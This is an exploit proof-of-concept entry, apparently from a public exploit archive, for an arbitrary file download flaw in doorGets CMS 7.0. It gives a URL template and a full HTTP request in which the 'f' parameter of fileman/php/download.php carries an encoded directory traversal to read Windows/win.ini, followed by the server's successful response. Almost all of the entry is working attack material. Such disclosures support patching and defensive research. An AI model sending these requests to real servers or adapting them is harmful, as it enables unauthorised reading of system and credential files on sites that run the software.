doorGets CMS 7.0 - Arbitrary File Download

# Exploit Title: doorGets CMS 7.0 - Arbitrary File Download
# Dork: N/A
# Date: 2019-01-16
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.doorgets.com/
# Software Link: https://netix.dl.sourceforge.net/project/doorgets-cms/doorGets%20CMS%20V7/doorGets_CMS_V7.0.zip
# Version: 7.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/fileman/php/download.php?f=/[PATH]/fileman/Uploads/[FILE]
# 

GET /[PATH]/fileman/php/download.php?f=%2FExploitDb%2FdoorGets_CMS_V7.0%2Ffileman%2FUploads%2F%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows/win.ini HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2lj2q69rvodstr9g2c9ki3k3j6; GeniXCMS-Installation=rsb95ndeo38fi0qo5376ku0o74; GeniXCMS-uxTCOmgGby9cYrSEFhS2=iuac7ooh77hghvbq7afkn0kl13; roxyld=%2FExploitDb%2FdoorGets_CMS_V7.0%2Ffileman%2FUploads; roxyview=list
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2019 22:03:21 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename="win.ini"
Content-Length: 564
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download